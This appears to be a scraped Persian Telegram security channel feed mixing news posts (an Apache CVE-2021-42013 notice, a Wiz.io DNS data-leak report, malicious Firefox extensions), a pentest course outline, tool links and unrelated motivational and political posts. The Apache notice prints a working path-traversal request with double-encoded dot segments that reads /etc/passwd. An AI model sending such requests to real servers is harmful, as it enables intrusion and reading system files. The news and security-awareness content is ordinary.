آسیب پذیری جدید از آپاچی

[Apache] HTTP Server cgi-bin Path Traversal and RCE (CVE-2021-42013)

This exploit can bypass for Apache HTTP Server 2.4.50 (CVE-2021-41773 Patch Version)

GET /cgi-bin/%%32%65%%32%65/.../%%32%65%%32%65/etc/passwd HTTP/1.1



#apache
#rce


@Unidentified_TM

گری کیلدال: بدشانس ترین مرد دنیای فناوری که با اشتباهش بیل گیتس را به اوج ثروت رساند .
@Unidentified_TM

آسیب پذیری جدید پیکربندی DNS و خطر نشت اطلاعات در شبکه شرکت ها
خطر نشت اطلاعات
نشست کنفراس کلاه سیاه: محققان امنیتی نوع جدیدی از آسیب پذیری DNS را کشف کرده اند که بر روی چندین ارائه دهنده گان سرویس های (DNSaaS) تأثیر می گذارد.

محققان هشدار می دهند که در AWS Route 53 حفره امنیتی وجود دارد و سایر بسترهای مدیریت DNS نیز به طور بالقوه آسیب پذیری وجود دارد. محققان امنیتی نوع جدیدی از آسیب پذیری DNS را کشف کرده اند که بر روی چندین ارائه دهنده سرویس های (DNSaaS) تأثیر می گذارد. محققان شرکت امنیت ابری Wiz.io دریافتند که پیاده سازی غیر استاندارد رفع کننده های DNS در صورت ترکیب با ویژگی های ارائه سرویس DNS منجر به نشت اطلاعات از شبکه شرکت هایی می شود که از این سرویس آسیب زا استفاده می کنند.

این تحقیق طی نشستی در کنفرانس "کلاه سیاه" آمریکا در روز چهاردهم مرداد1400 ارائه شد. هر ارائه دهنده خدمات ابری، ثبت کننده دامنه و میزبان وب سایتی که خدمات DNSaaS را ارائه می دهد ممکن است آسیب پذیر باشد، همچنین طبق آزمایشات شرکت امنیتی Wiz.io نشان می دهد ارائه دهندگان DNS و مشتریان آنها دارای نقص امنیتی می باشند و منحصرا در معرض خطر هستند.

افشای اطلاعات حساس

پیچیدگی DNS و پیاده سازی های چندگانه آن، شرکت امنیتی Wiz.io را وادار کرد امنیت ارائه خدمات DNSaaS و سرویس AWS Route 53 را بررسی کند. در کمال تعجب، محققان دریافتند که اگر یک نام سرور برای خود در AWS Route 53 ثبت کنند، ترافیک DNS پویا را مشاهده می کنند که این ترافیک بایستی محدود به شبکه های داخلی باشد. مایکروسافت ویندوز هنگام انجام به روز رسانی DNS اطلاعات حساس مشتری را نشان می دهد. اطلاعاتی که در معرض دید قرار می گیرند شامل آدرس IP داخلی، نام رایانه و آدرس IP خارجی هستند.

شرکت امنیتی Wiz.io در گزارش خود اعلام کرد: بالغ بر چند ساعت تحلیل کردن شبکه و بررسی 992هزار شرکتی در حال بروزرسانی DNS بودند حدود 15000 شرکت آسیب پذیر دریافت کردیم که 15 مورد از شرکت های مذکور مربوط به 500 شرکت برتر جهان هستند. در این آسیب پذیری افشای نام های رایانه می توانند نقش کاربر در یک سازمان را نشان دهد، آدرس های IP داخلی وضعیت شبکه سازمانی را نشان می دهد و آدرس های IP خارجی موقعیت جغرافیایی رایانه ها را نشان می دهد.

در جریان برگزاری کنفراس Black Hat آمریکا، شرکت Wiz.io ادعا کرد که محدود و سهولت بهره برداری ناشی از این آسیب پذیری به قدری است که آژانس امنیت ملی "NSA" می تواند به آسانی ثبت یک دامنه اینترنتی از این آسیب پذیری جاسوسی کند. به طور خاص، هر شخصی می تواند روی مناطق میزبانی در AWS مرتبط با ROUTE53 نام سرورهایی را ثبت کند که نتیجه آن افشای اطلاعات DNS شرکت ها می باشد.

شرکت امنیتی Wiz.io کشف کرد که یک شرکت اعتباری بزرگی که دارای یک شرکت تابعه در ایران می باشد و یک دفتر شرکت معدنی در ساحل عاج دارد به طور آشکار قوانین دفتر کنترل دارایی های خارجی ایالات متحده آمریکا را نقض کردند. علاوه بر این، گاهی اوقات آدرس های IPv6 داخلی و بدتر از آن احراز هویت پروتکل های NTLM و Kerberos در معرض نمایش قرار می گیرند. مشتریان شرکت هایی که از هر ارائه دهنده ای خدمات می گیرند، می توانند با تغییر رکورد پیش فرض Start of Authority (SoA) درتنظیمات DNS خود، به این مشکل رسیدگی کنند.

@Unidentified_TM

سه جا پشت سرت حرف میزنن:


- وقتی نمیتونن در حدت باشن...
- وقتی میخوان از سبک زندگیت تقلید کنن اما نمیتونن...
- وقتی چیزی داری که اونا ندارن...

@Unidentified_TM
پند بزرگان

فایرفاکس هشدار می‌دهد که دو افزونه مخرب فایرفاکس که توسط بیش از 455000 کاربر نصب شده ‌است، مانع از دانلود به‌روزرسانی‌های امنیتی، دسترسی به فهرست‌های بلاک‌شده و به‌روز شده و به‌روزرسانی محتوای پیکربندی‌شده از راه دور توسط کاربران می‌شوند.

Bypass" (ID: 7c3a8b88-4dc9-4487-b7f9-736b5f38b957) or "Bypass XM" (ID: d61552ef-e2a6-4fb5-bf67-8990f0014957).
@Unidentified_TM

ویدیو بسیار عالی از بابک جوادی

مبانی هک سیستم های کنترلی دسترسی فیزیکی
@Unidentified_TM
https://www.youtube.com/watch?v=LS5OQHUJaJE

Run compilers interactively from your web browser and interact with the assembly with almost any high level language.
با زبان‌های برنامه‌نویسی مختلف کد بزنید و به صورت realtime کد اسمبلی تولید شده با انواع و اقسام compiler ها رو مثل gcc یا clang رو ببینید و باهاش کار کنید.


@Unidentified_TM

Little-Psycho Linux
============================
It is a lightweight Linux with a plasma Desktop and complementary to the predator-os Linux. It is a Harmful, Destructive,changer, Terminator, stress testing, system, and resilience testing in terms of hardware and software.
Included overclocking and health testing tools are used on the system.
============
Designer and Developer by :Hossein Seilany

finally. Released this week.

پروژه جدید گیت هاب به نام copilot

این پروژه Copilot به این صورت کار میکنه که میگی من یه کدی میخوام که یه کاریو برام انجام بده ، مثلا یه کدی میخوام که ببینه یک متن مثبته یا منفی و میخوام از یه سرویس آنلاین استفاده کنم . خودش میاد براتون کدو مینویسه

یه چیز توی مایه های Autocomplete اه که با کمک هوش مصنوعی نوشته شده .

Github

@Unidentified_TM

1.
Getting Started

2.

Enumeration: Networks, SMB, DNS and Websites

3.

Enumeration: Web Vulnerabilities

4.

Initial Access: Shells and Remote Services

5.

Initial Access: Custom Exploits

6.

Initial Access: Social Engineering

7.

Linux Enumeration and Privilege Escalation

8.

Windows Enumeration and Privilege Escalation

9.

Windows Active Directory Enumeration and Privilege Escalation

10.

Defense Evasion

11.

Command & Control and Persistence


@Unidentified_TM

درود به شرفتون بزرگ مردان ایران.

Windows Password Hashes


@Unidentified_TM
https://vk9-sec.com/windows-password-hashes/

dstask: Single binary terminal-based TODO manager with git-based sync + markdown notes per task

https://github.com/naggie/dstask

@Unidentified_TM

سلام خدمت دوستان گل
مدتی بود ربات پشتیبانی در دسترس نبود ولی از الان دوباره میتونید پیام بزارید داخل ربات نظرات و انتقادات خودتون رو .

@Unidentified_TM_bot

🔺واکنش فرمانده سپاه به حادثه دیروز در دریای عمان:

🔹همه مجاهدان نیروی دریایی، هر کدام یک حاج قاسم بودند
🔹خطاب به مردم می گویم،در صحنه بمانید؛ چیزی به پایان راه نمانده است؛ فجر اکبر نزدیک است.

@khabarfouri